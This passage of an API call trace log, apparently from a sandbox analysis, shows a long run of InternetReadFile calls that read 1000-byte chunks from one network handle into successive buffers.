dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34361f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34361f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34365d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34365d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34369c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34369c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3436da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3436da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34390d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34390d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34394b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34394b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34398a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34398a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3439c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3439c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343ac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343ac28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b3f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b7e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343bbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343bbc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343bfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343bfb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343c398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343c398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343c780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343c780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343cb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343cb68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.880] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343cf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343cf50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343d338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343d338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343d720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343d720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343db08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343db08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343def0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343def0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343e2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343e2d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343e6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343e6c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343eaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343eaa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343ee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343ee90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343f278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343f278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.918] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343f660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343f660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343fa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343fa48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343fe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343fe30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34409e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34409e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34411b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34411b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34415a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34415a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3441988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3441988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3441d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3441d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442d10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34430f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34430f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34434e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34434e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34438c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34438c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3443cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3443cb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444c50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445bf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445fd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34463c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34463c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34467a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34467a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3446b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3446b90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3446f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3446f78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447b30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447f18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34486e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34486e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34492a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34492a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449688*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449a70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449e58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344a240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344a240*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344a628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344a628*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344aa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344aa10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344adf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344adf8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b1e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b5c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b9b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344bd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344bd98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c180*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c568*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c950*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344cd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344cd38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d120*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d508*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d8f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344dcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344dcd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e0c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e4a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e890*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344ec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344ec78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f060*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.928] InternetReadFile (in: 